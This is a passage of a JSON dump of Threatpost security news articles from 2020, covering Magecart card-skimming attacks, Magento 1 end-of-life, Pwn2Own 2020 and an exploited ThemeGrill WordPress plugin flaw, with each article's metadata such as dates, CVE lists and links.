discovered the skimmer, dubbed MakeFrame for its use of iframes to skim data, on Jan. 24. Since then, they\u2019ve captured several different versions of the skimmer with \u201cvarious levels of obfuscation,\u201d researchers Jordan Herman and Mia Ihm wrote in a blog post published Thursday.\n\nThe versions range from from development versions in clear code to finalized versions using encrypted obfuscation, they wrote.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis version of the skimmer is the classic Magecart blob of hex-encoded terms and obfuscated code,\u201d Herman and Ihn wrote. \u201cIt is nestled in amongst benign code to blend in and avoid detection.\u201d\n\nMakeFrame also leeches off the compromised site for its functionality, a technique that in particular alerted researchers that MakeFrame is most likely the work of Magecart Group 7. And, targeting SMB sites, as MakeFrame does, also is indicative of Magecart Group 7 activity, researchers said.\n\n\u201cIn some cases, we\u2019ve seen MakeFrame using compromised sites for all three of its functions \u2014 hosting the skimming code itself, loading the skimmer on other compromised websites and exfiltrating the stolen data,\u201d Herman and Ihm wrote.\n\nIndeed, Magecart Group 7 typically uses victim sites for skimmer development, which was also observed when the group [compromised OXO](<https://threatpost.com/data-exposed-oxo-amazon-mongodb/140802/>) in 2017 and in activity by the group in 2018, researchers wrote.\n\n\u201cIn all of these cases, the skimmer is hosted on the victim domain,\u201d according to the analysis. \u201cThe stolen data is posted back to the same server or sent to another compromised domain.\u201d\n\nAnother aspect of MakeFrame that links the new skimmer back to Magecart Group 7 is its method of exfiltration of data once it\u2019s stolen, Herman and Ihm noted. The skimmer sends stolen data in the form of .PHP files to other compromised sites for exfiltration, they said.\n\n\u201cEach compromised site used for data exfil has also been injected with a skimmer and has been used to host skimming code loaded on other victim sites as well,\u201d the researchers added.\n\nMagecart Group 7 is one of a number of threat actors operating under the [Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) umbrella, which includes several different groups who all use a similar attack vector. [Magecart attacks](<https://threatpost.com/magecart-variant-tactics-mitm-phishing/150628/>) compromise websites \u2014 principally built on the Magento e-commerce platform \u2013 to inject card-skimming scripts on checkout pages to steal customer payment-card details and other data entered on the page\u2019s fields.\n\nThe group has been active since 2016 and consistently switches tactics to target e-commerce platforms to steal people\u2019s payment and other credentials.\n\n[Skimmers](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) are the primary weapons of choice for the various Magecarts groups, but they have also engaged in other nefarious activities such as [brute-forcing passwords](<https://threatpost.com/magecart-cybergang-targets-0days-in-third-party-magento-extensions/138547/>), [spoofing third-party payment site](<https://threatpost.com/rooster-teeth-attack-magecart/151216/>)s and even targeting [Wi-Fi routers](<https://threatpost.com/magecart-group-targets-routers-behind-public-wi-fi-networks/148662/>) with malicious code to steal customer data.\n\nThe latest skimmer uncovered by RiskIQ shows the group\u2019s \u201ccontinued evolution, honing tried-and-true techniques and developing new ones all the time,\u201d researchers wrote.\n\nThe onset of stay-at-home orders amid the [COVID-19 pandemic](<https://threatpost.com/who-attacked-possible-apt-covid-19-cyberattacks-double/154083/>) also seems to have inspired Magecart to bolster activity as more people conduct business online, with many brick-and-mortar shops and shopping malls closed, researchers noted.\n\n\u201cRiskIQ data shows Magecart attacks have grown 20 percent amid the COVID-19 pandemic,\u201d Herman and Ihm wrote. \u201cWith many home-bound people forced to purchase what they need online, the digital-skimming threat to e-commerce is as pronounced as ever.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-02T13:10:33", "type": "threatpost", "title": "Emerging MakeFrame Skimmer from Magecart Sets Sights on SMBs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-02T13:10:33", "id": "THREATPOST:D000B56E417D094837C498C6A759A338", "href": "https://threatpost.com/emerging-makeframe-skimmer-magecart-smbs/154374/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:17:37", "description": "With Magento 1 reaching end-of-life (EOL) on Tuesday, Adobe is making a last-ditch effort to urge the 100,000 online stores still running the outdated version to migrate to Magento 2.\n\nMagento is a popular, Adobe-owned open-source e-commerce platform that powers many online shops. After June 30 (Tuesday of this week), Adobe is pulling the plug on security fixes for Magento Commerce 1.14 and Magento Open Source 1 (formerly known as Enterprise Edition and Community Edition, respectively). E-commerce merchants must [migrate to Magento 2](<https://magento.com/blog/magento-news/support-magento-1-software-ends-june-30-2020>), which was released five years ago.\n\n\u201cThousands of merchants have already migrated to Magento 2,\u201d according to a recent [Magento update](<https://magento.com/blog/magento-news/support-magento-1-software-ends-june-30-2020>). \u201cIt is the best solution for growing businesses to succeed and thrive in digital commerce. Magento 2 offers a wealth of built-in features that are not available in Magento 1, plus infrastructure that is easier to maintain and support.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWith the number of active users of Magento 1 [still topping 100,000](<https://sansec.io/magento-usage-data>), the looming EOL date opens up various cybersecurity issues. The [Magecart cybergang](<https://threatpost.com/magecart-blue-bear-attack/151585/>), which has [previously targeted](<https://threatpost.com/critical-flaws-magento-ecommerce-code-execution/152343/>) the platform in order to inject card-skimming scripts onto checkout pages, is the biggest concern for security researchers. And security holes continue to pop up in the platform \u2013 [Just last week](<https://helpx.adobe.com/security/products/magento/apsb20-41.html>) Adobe issued fixes for critical- and important-severity flaws in Magento 1.14.4.5 and earlier versions, warning that the security update was the final one for Magento 1.\n\nAs of Tuesday, e-commerce sites using the outdated Magento version will also be out of compliance with [the PCI DSS standard](<https://www.pcisecuritystandards.org/document_library>) (the Payment Card Industry Data Security Standard), which is a security standard for organizations handling credit cards, which aims to help reduce credit card fraud. [Requirement 6](<https://www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf?agreement=true&time=1587662200387>) of the PCI DSS requires merchants to \u201cdevelop and maintain secure systems and applications by installing applicable vendor-supplied security patches\u201d which they cannot do when future security patches for Magento 1 are killed.\n\n\u201cOnce a version of Magento Commerce software is no longer supported, it falls out of PCI compliance and it is your responsibility to re-certify compliance,\u201d according to [Adobe](<https://magento.com/sites/default/files8/2019-09/implications-of-unsupported-software-FAQ.pdf>). \u201cMerchants may be subject to fines or removal of credit card processing ability if you are unable to update vulnerabilities from regular scans and penetration testing.\u201d\n\nAdobe isn\u2019t the only company urging websites to update. [PayPal](<https://www.paypal.com/gp/smarthelp/article/magento-1-end-of-life-announcement-ts2249>) and [Visa](<https://usa.visa.com/content/dam/VCOM/global/support-legal/documents/acquirer-advisory-magento-migration.pdf>) have also issued alerts, saying that PCI DSS requirements apply to merchant integrations with card payment brands. And according to a [report by ZDNet](<https://www.zdnet.com/article/adobe-mastercard-visa-warn-online-store-owners-of-magento-1-x-eol/>), Mastercard also recently sent customers security alerts warning them to update to avoid cyberattacks.\n\nMagento 1\u2019s EOL has been a long time coming. [Magento 2 was released](<https://magento.com/blog/best-practices/migrating-magento-2-what-2-know>) in 2015 with various improved features, including better performance and a mobile-friendly admin interface (for reference, the most current version of Magento [is Magento 2.3.5,](<https://magento.com/tech-resources/download>) released in April). The imminent June 2020 EOL for Magento 1 was then announced in September 2018, months after Adobe acquired [Magento in May 2018](<https://news.adobe.com/news/news-details/2018/Adobe-to-Acquire-Magento-Commerce/default.aspx>). Since then, Magento has been working with technology vendors, developers, customers and partners for transition plans to the new version.\n\nEnd of life timelines often leave lagging companies in security hot water. [With Flash Player\u2019s](<https://threatpost.com/adobe-prompts-users-to-uninstall-flash-player-as-eol-date-looms/156794/>) Dec. 31, 2020 kill date quickly approaching, for instance, Adobe said that it will start prompting users to uninstall the software in the coming months.\n\n\u201cAny time software reaches end-of-life there is the risk of attackers discovering new vulnerabilities that will remain unpatched,\u201d Zach Varnell, Senior AppSec Consultant at nVisium, told Threatpost. \u201cThere may even be existing vulnerabilities that are not yet publicly known. Attackers could just sit on those issues and not reveal them until after the EOL date, ensuring that they will have longer to use them.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-29T18:56:11", "type": "threatpost", "title": "Tuesday\u2019s Magento 1 EOL Leaves Clock Ticking on 100K Online Stores", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-06-29T18:56:11", "id": "THREATPOST:A30E6A4920ABDF2ACEDA56240984C9FD", "href": "https://threatpost.com/tuesdays-magento-1-eol-100k-online-stores/157000/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:26:44", "description": "Blue Bear Software, an administration and e-commerce platform for K-12 schools and other educational institutions, is warning its customers that it has suffered a Magecart attack.\n\nBlue Bear\u2019s platform enables management of school accounting, student fees and online stores. In a letter to those affected ([obtained](<http://www.documentcloud.org/documents/6596719-Active-Network-Blue-Bear-Notice.html>) by Bleeping Computer), the vendor\u2019s parent company, Active Networks, said that anyone who had purchased items from a school webstore that was powered by its platform are potentially affected.\n\n[Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) is an umbrella term encompassing several different threat groups who typically use the same _modus operandi_: They compromise websites by exploiting vulnerabilities in third-party e-commerce platforms, in order to inject card-skimming scripts on checkout pages.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAt Virus Bulletin last October, researchers at RiskIQ [said that](<https://threatpost.com/magecart-infestations-saturate-web/148911/>) Magecart is now so ubiquitous that its infrastructure is flooding the internet. There are at least 570+ known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains, researchers said.\n\n\u201cThis time, the attack targeted an educational accounting software platform that parents use to pay for student fees, books and school supplies,\u201d Elad Shapira, head of research at Panorays, said in an emailed statement. \u201cOnline retailers like Blue Bear are prime targets for Magecart, because data is easily stolen during checkout, often through third parties, as customers enter their credit cards.\u201d\n\nIn this case, the card-skimmers were present on websites using Blue Bear from Oct. 1 to Nov. 13 and collected names, payment-card numbers, expiration dates and CVV codes, and Blue Bear user IDs and passwords. No Social Security numbers, driver license numbers or similar government ID card numbers were caught up in the breach.\n\nMagecart\u2019s focus on attacking victims via the supply chain is part of a larger trend of attackers wanting to \u2018own\u2019 an entire system, including partners and suppliers.\n\nCarbon Black\u2019s Global Incident Response Threat Report last year [found that](<https://threatpost.com/half-all-attacks-supply-chain/143391/>) 50 percent of today\u2019s attacks leverage \u201cisland hopping.\u201d This means that attackers are after not only one target network but also those that are connected via a supply chain.\n\n\u201cTo prevent such attacks from occurring, companies must create and put processes in place to manage and review their susceptibility to the Magecart threat in their cyber supply chain,\u201d said Shapira. \u201cDoing so is important throughout the whole third-party business relationship, and should include continuous monitoring of third parties\u2019 cyber-posture.\u201d\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._**_** **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-06T21:47:47", "type": "threatpost", "title": "Magecart Hits Parents and Students via Blue Bear Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-06T21:47:47", "id": "THREATPOST:9BCA61EE1DC2B7F4CCAA9D127D46DBA4", "href": "https://threatpost.com/magecart-blue-bear-attack/151585/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:18:21", "description": "A Magecart credit-card skimmer was used to attack online customers of the retailer Claire\u2019s for a month and a half, according to researchers.\n\nClaire\u2019s \u2013 a purveyor of jewelry and accessories \u2013 closed its 3,000 physical retail locations worldwide on March 20, in the wake of the COVID-19 pandemic. An analysis from the Sansec Threat Research Team shows that a Magecart group saw an opportunity to harvest payment-card data in the closures \u2013 likely assuming that online sales activity would ramp up with no brick-and-mortar outlets available to shoppers.\n\n\u201cFollowing common Magecart malpractice, payment skimmers were injected and used to steal customer data and cards,\u201d according to Sansec.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n[Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) is an umbrella term encompassing several different threat groups who typically use the same _modus operandi._ They compromise websites typically by exploiting vulnerabilities or otherwise compromising in third-party eCommerce platforms, in order to inject card-skimming scripts on checkout pages. Magento-based hacks are seen most often, but Magecart also attacks other platforms, including Opencart, BigCommerce, Prestashop and Salesforce.\n\nAt Virus Bulletin last October, researchers at RiskIQ [said that](<https://threatpost.com/magecart-infestations-saturate-web/148911/>) Magecart is now so ubiquitous that its infrastructure is flooding the internet. There are at least 570+ known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains, researchers said.\n\nIn this case, Sansec telemetry picked up malicious code being injected into the Claire\u2019s official eCommerce website (and that of its sister store, Icing), starting in late April. The malware persisted until this weekend, when it was removed on June 13.\n\nSpecifically, code was added to the online check-out pages for the stores, and linked to the \u201cSubmit\u201d button that shoppers use to submit their payment information. To hook up with the Submit function, the malware was added to the app.min.js file, which is a legitimate file hosted on the store servers.\n\nWhen a user clicked the button, the injected code would intercept all customer information that was entered during checkout, render it as an image, encode it with base64, and send it off to a special collection website controlled by the attackers, \u201cclaires-assets[dot]com.\u201d\n\n\u201cThis approach uses image exfiltration (which is often not monitored by security systems) and uses a U.S.-based collection server, which is rare for this type of attack,\u201d Sansec founder Willem de Groot told Threatpost. \u201cI suspect that the collection server will be confiscated by U.S. law enforcement shortly.\u201d\n\nOn the technical front, \u201cA temporary image is added to the DOM with the __preloader identifier,\u201d according to the [Sansec analysis](<https://sansec.io/research/magecart-corona-lockdown>), released on Monday. \u201cThe image is located on the server as controlled by the attacker. Because all of the customer submitted data is appended to the image address, the attacker now has received the full payload. Immediately, the image element is removed.\u201d\n\nClaire\u2019s runs on the Salesforce Commerce Cloud, previously known as Demandware, which is a hosted eCommerce platform, according to researchers. While Sansec doesn\u2019t have insight into how the website was initially compromised, any of the usual suspects could have been a factor. Those could include leaked admin credentials, spearphishing of Claire\u2019s employees or a compromised internal network.\n\nSansec also pointed out that it\u2019s unlikely that a vulnerability in the Salesforce platform itself was exploited, given that the skimmer was injected directly into code hosted on Claire\u2019s servers.\n\n\u201cSo, there is no \u2018supply-chain attack\u2019 involved, and attackers have actually gained write access to the store code,\u201d researchers said. \u201cIt is unlikely that the Salesforce platform got breached or that Salesforce is responsible for this incident.\u201d\n\nAlso, the claires-assets[dot]com collection website was set up on March 21, a day after the Claire\u2019s retail stores closed. Yet activity didn\u2019t start until the last week in April \u2014 also suggesting that a known bug in Salesforce wasn\u2019t the culprit. \u201cThe domain period between exfil domain registration and actual malware suggests that it took the attackers a good four weeks to gain access to the store,\u201d according to the analysis.\n\nThat said, de Groot noted that \u201cSaaS platforms like Salesforce, Shopify and BigCommerce have much better potential visibility into abuse of their platform, and increased ability to secure their customer base. While legally not culpable, one could argue that they could do more to scan or protect their stores.\u201d\n\nSansec also said that Claire\u2019s responded promptly when notified of the issue. The store issued a statement:\n\n\u201cClaire\u2019s cares about protecting its customers\u2019 data. On Friday, we identified an issue related to our e-commerce platform and took immediate action to investigate and address it. Our investigation identified the unauthorized insertion of code to our e-commerce platform designed to obtain payment card data entered by customers during the checkout process. We removed that code and have taken additional measures to reinforce the security of our platform.\u201d\n\nIt also said that it\u2019s working on determining which of its customers were affected by the incident, so it can issue notifications. For it\u2019s part, Sansec is unsure of the scope of the activity.\n\n\u201cSince the interception happened in real time in the browsers of customers, we have no visibility in the scope of the theft,\u201d de Groot told Threatpost. \u201cClaire\u2019s obviously knows, but I doubt they want to share that info.\u201d\n\n_**Are you on top of the shifting insider threats within your business? On **_**[_June 24 at 2 p.m. ET_](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_**, join Threatpost and our panel of experts for a FREE webinar, **__**\u201c**_**_The Enemy Within: How Insider Threats Are Changing_****_.\u201d _**_**Get exclusive insights on how **_**_remote working has increased the risk of insider threats, and how to gain visibility into employee behavior while striking the right balance between privacy and ease of use. _****_[Please register here](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)_**_** for this Threatpost webinar.**_\n", "cvss3": {}, "published": "2020-06-15T15:36:53", "type": "threatpost", "title": "Claire's Customers Targeted with Magecart Payment-Card Skimmer", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-06-15T15:36:53", "id": "THREATPOST:63A5AF6DBA80B1406297BB5825D56E32", "href": "https://threatpost.com/claires-customers-magecart-payment-card-skimmer/156552/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:22:32", "description": "[![pwn2own 2020](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20154132/Mat-Powell-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20154132/Mat-Powell.png>)Covid-19 has brought the world to grinding halt, but for the [hacking competition Pwn2Own](<https://www.zerodayinitiative.com/blog/2020/3/17/welcome-to-pwn2own-2020-the-schedule-and-live-results>), that wasn\u2019t the case. The event, planned for CanSecWest this week in Vancouver, went virtual along with the conference itself. Faced with travel restrictions and new social-distancing guidelines, contestants virtually assembled via the teleconferencing platform Zoom from Africa, Singapore and across the Americas.\n\n\u201cWe were monitoring the situation. And if we weren\u2019t going to converge in Vancouver, our first priority was remote participation,\u201d said Dustin Childs, communications manager for Zero Day Initiative (ZDI), the event organizer. \u201cWe had to come up quickly with how to get everyone together in the right ways in the right rooms with the right access. It was tough, but we managed to do it.\u201d\n\nOver the course of two days, hacking teams ranging from Flourescence, RedRocket CTF and Synacktiv attempted to hack Adobe\u2019s Acrobat Reader and Apple\u2019s macOS and virtualization platforms such as Oracle VirtualBox. They competed for close to $300,000 in prizes \u2013 and for one talented hacking group, the bragging rights of Master of Pwn.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nTuning into the competition via Zoom, judges and technical teams coordinated with white-hat hackers who in real time mostly were successful in compromising targeted devices and software.\n\nDuring one hacking attempt, the Fluoroacetate team of Amat Cama and Richard Zhu, targeted Adobe Reader and then Windows with a local privilege escalation attack. Blink an eye and you might have missed the hack \u2013 in under five seconds and one mouse click, on their first attempt, team Fluoroacetate compromised Adobe Reader to attack and take control of the underlying operating system, Windows 10.\n\nMore specifically, the team used two separate use-after-free bugs, one in Adobe and one in the Windows kernel.\n\n[![pwn2own 2020](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20153823/pwn2own_zoom.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20153823/pwn2own_zoom.png>)\n\n\u201cThe only thing they did was open a PDF. So, that\u2019s something we all do every day. And, from that, they were able to escape the sandbox in Adobe Reader and escalate through the Windows\u2019 kernel \u2013 taking over the entire machine just by opening a PDF,\u201d Childs said.\n\nFor the one-click hack, team Fluoroacetate earned $50,000.\n\nTensions were high on Wednesday when a team from Georgia Tech Systems Software and Security Lab pulled off a high-wire hack chaining six different vulnerabilities to successfully exploit Apple\u2019s Safari browser and execute code (launch the calculator app) on a computer running macOS.\n\n[![pwn2own 2020](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20152802/ETfuzxHXkAIToYy-225x300.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/20152802/ETfuzxHXkAIToYy.jpg>)For the Georgia Tech team, which consisted of Yong Hwi Jin ([@jinmo123](<https://twitter.com/jinmo123>)), Jungwon Lim ([@setuid0x0_](<https://twitter.com/setuid0x0_>)), and Insu Yun ([@insu_yun_en](<https://twitter.com/insu_yun_en>)), the hack earned them $70,000.\n\nThings didn\u2019t go so well for The Synacktiv team of Corentin Bayet (@OnlyTheDuck) and Bruno Pujos (@BrunoPujos) who targeted a VMware Workstation in the Virtualization category. Over the course of three attempts, three big sighs of disappointment punctuated the failed attacks. The hack was successful eventually, however not within the contest\u2019s rules of three tries within timed sessions.\n\nVisualized applications didn\u2019t fare as well against Phi Ph\u1ea1m H\u1ed3ng (@4nhdaden) of STAR Labs who savaged Oracle\u2019s VirtualBox on his third try. Using a combo out-of-band read vulnerability, info leak bug and an un-initialized variable hack, H\u1ed3ng successfully executed code on the VirtualBox hypervisor.\n\nFor their efforts H\u1ed3ng\u2019s STAR Labs earned $40,000.\n\nThe title Master of Pwn was awarded to team Fluoroacetate for its stellar hacks during the event. With the title also comes $25,000, the classic Pwn2Own jerseys and of course the Master of Pwn trophy.\n\n\u201cIt ended up being a great contest under very stressful trying circumstances,\u201d Childs said. \u201cBut it was great that the vendors came together with the contestants and our team pulled it off. It was a great thing that we were able to still put it on.\u201d\n\nFor complete Pwn2Own results ZDI has [posted them here](<https://www.zerodayinitiative.com/blog/2020/3/20/pwn2own-day-two-results-and-master-of-pwn>).\n", "cvss3": {}, "published": "2020-03-20T20:03:37", "type": "threatpost", "title": "Defying Covid-19\u2019s Pall: Pwn2Own Goes Virtual", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-20T20:03:37", "id": "THREATPOST:EDFFF959759E1951E67CA4BC4A8FAF1E", "href": "https://threatpost.com/defying-covid-19s-pall-pwn2own-goes-virtual/154002/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:24:20", "description": "Researchers are urging users of a vulnerable WordPress plugin, ThemeGrill Demo Importer, to update as soon as possible after discovering attackers are actively exploiting a flaw in the plugin.\n\nThe [ThemeGrill Demo Importer](<https://wordpress.org/plugins/themegrill-demo-importer/>) plugin is owned by ThemeGrill, which offers various templates for website outlines. This WordPress plugin helps users import and manage ThemeGrill templates on their sites. As of [last week,](<https://webcache.googleusercontent.com/search?q=cache:kTHL3xHA_oUJ:https://wordpress.org/plugins/themegrill-demo-importer/+&cd=1&hl=en&ct=clnk&gl=ee>) the plugin had 200,000 active installations. According to WebARX, [who discovered the flaw](<https://www.webarxsecurity.com/critical-issue-in-themegrill-demo-importer/>), on Tuesday that number has dipped to 100,000 installs. It is unclear at this time what accounts for the drop in the number of WordPress plugin installs.\n\nResearchers disclosed a flaw in the plugin this week, which allows unauthenticated, remote attackers to execute some administrator functions \u2013 without checking if they are an administrator. One such function is the capability to wipe the entire database of the vulnerable website, bringing it to its default state and clearing website databases of existing posts and user roles. And, after carrying out this action, an attacker would also then be logged in as an administrator \u2013 giving them complete control over the website.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis is a serious vulnerability and can cause a significant amount of damage,\u201d according to WebARX researchers in a post this week. \u201cSince it requires no suspicious-looking payload \u2026 it is not expected for any firewall to block this by default and a special rule needs to be created to block this vulnerability.\u201d\n\nVersions from 1.3.4 to 1.6.1 are impacted by this flaw. According to the [WordPress plugin repository](<https://wordpress.org/plugins/themegrill-demo-importer/advanced/>), versions 1.4, 1.5 and 1.6 make up 98.6 percent of active versions of the plugin. Researchers say that the issue has existed in the plugin\u2019s code for about three years (since version 1.3.4).\n\nResearchers discovered the vulnerability on Feb. 5 and reported it to the plugin. On Sunday, ThemeGrill released the new [patched version](<https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2245070%40themegrill-demo-importer%2Ftrunk&old=2190304%40themegrill-demo-importer%2Ftrunk&sfp_email=&sfph_mail=>) of the plugin, version 1.6.2. However, according to reports, active exploits of the vulnerability have started, with some affected websites showing a WordPress \u201cHello World\u201d post. The \u201cHello World\u201d post is a \u201cdummy\u201d post, set by WordPress, as a placeholder post for content upon initial installation.\n\n> There's currently a severe vuln in a wordpress plugin called \"themegrill demo importer\" that resetss the whole database. <https://t.co/tT4xiqjna5> It seems attacks are starting: Some of the affected webpages show a wordpress \"hello world\"-post. /cc [@webarx_security](<https://twitter.com/webarx_security?ref_src=twsrc%5Etfw>)\n> \n> \u2014 hanno (@hanno) [February 18, 2020](<https://twitter.com/hanno/status/1229716599227195393?ref_src=twsrc%5Etfw>)\n\nIn a message to Threatpost, WebARX confirmed that the vulnerability is being actively exploited in the wild, and said it has blocked over 16,000 attacks against this vulnerability since Feb. 16 (a list of IP addresses actively exploiting the flaw [can be found here](<https://www.webarxsecurity.com/critical-issue-in-themegrill-demo-importer/>)).\n\n## Flaw Technical Details\n\nResearchers said that the prerequisite for an exploit is that there must be a theme installed and activated on the affected websites that was published by ThemeGrill. And, in order to be automatically logged in as an administrator, there must be a user called \u201cadmin\u201d in the website\u2019s database.\n\nAfter the plugin detects that a ThemeGrill theme is installed and activated, it has the capability to load files (called /includes/class-demo-importer.php) which then interact with the admin_init hook. A hook is used as a way for one piece of code to interact or modify another piece of code. Admin_init specifically is used to initialize settings specific to the administrator functions.\n\nThe problem specifically stems from the plugin\u2019s admin_init hook calling to /wp-admin/admin-ajax.php, which does not require a user to be authenticated. This issue (which has occurred in other plugins before, including the [WP Live Chat Support](<https://threatpost.com/wordpress-wp-live-chat-support-plugin-fixes-xss-flaw/144856/>) and [others](<https://threatpost.com/wordpress-plugins-malvertising-backdoor-campaign/147926/>)) means that an attacker could merely specially crafted request to the /wp-admin/admin-ajax.php endpoint page and would then be granted access as a user with certain administrative permissions on the website.\n\n\u201cadmin_init is a hook that plugins can hook into,\u201d researchers told Threatpost. \u201cIt\u2019s executed on all admin screen/scripts. However, this also includes /wp-admin/admin-ajax.php which is also used for calls by unauthenticated users.\u201d\n\n[![wordpress plugin flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/18104233/banner-772x250-300x97.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/18104233/banner-772x250.png>)\n\nAfter an attacker gains admin privileges, they could then be in control of the \u201cadmin\u201d user object and clear all WordPress tables that start with the defined WordPress database prefix. This would essentially clear the database so that is the website is reset to its default settings and all data in the database is cleared \u2013 including all user roles, website post and pages, and more, researchers told Threatpost.\n\nResearchers told Threatpost that the flaw doesn\u2019t yet have a CVE number or CVSS score. Threatpost has also reached out to ThemeGrill for further information but has not yet heard back by publication.\n\nIt\u2019s only the latest WordPress plugin to have a vulnerability. Last week, for instance, [popular WordPress plugin](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>) GDPR Cookie Consent, issued fixes for a critical flaw, that if exploited, could enable attackers to modify content or inject malicious JavaScript code into victim websites.\n\n**_Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us _**[**_Wednesday, Feb. 19 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)**_ when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives._**\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-02-18T17:27:33", "type": "threatpost", "title": "Active Exploits Hit Vulnerable WordPress ThemeGrill Plugin", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-02-18T17:27:33", "id": "THREATPOST:137B556D777466139D73B0ECF97E4E32", "href": "https://threatpost.com/active-exploits-hit-vulnerable-wordpress-themegrill-plugin/152947/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:25:01", "description": "UPDATE\n\nA faction of the Magecart threat group, Magecart group 12, has been linked to a recent digital card skimmer attack bent on stealing payment data from a slew of websites, including ones selling anything from Olympic tickets to emergency preparation kits.\n\nOver the past few weeks, the group has targeted two ticket sales websites \u2013 one called [Olympic Tickets](<http://olympictickets2020.com>) is a re-seller of tickets to the upcoming 2020 summer Olympic games and the second, [Euro 2020 Tickets](<http://eurotickets2020.com>), is selling tickets for the 2020 UEFA, a European football championship that takes place in June. Researchers also found the group\u2019s same skimming code (being loaded from a different domain) used to target popular emergency preparedness sites; [BePrepared.com](<http://beprepared.com>), which sells survival kits and gear, and [Augason Farms](<http://augasonfarms.com>), which sells emergency food 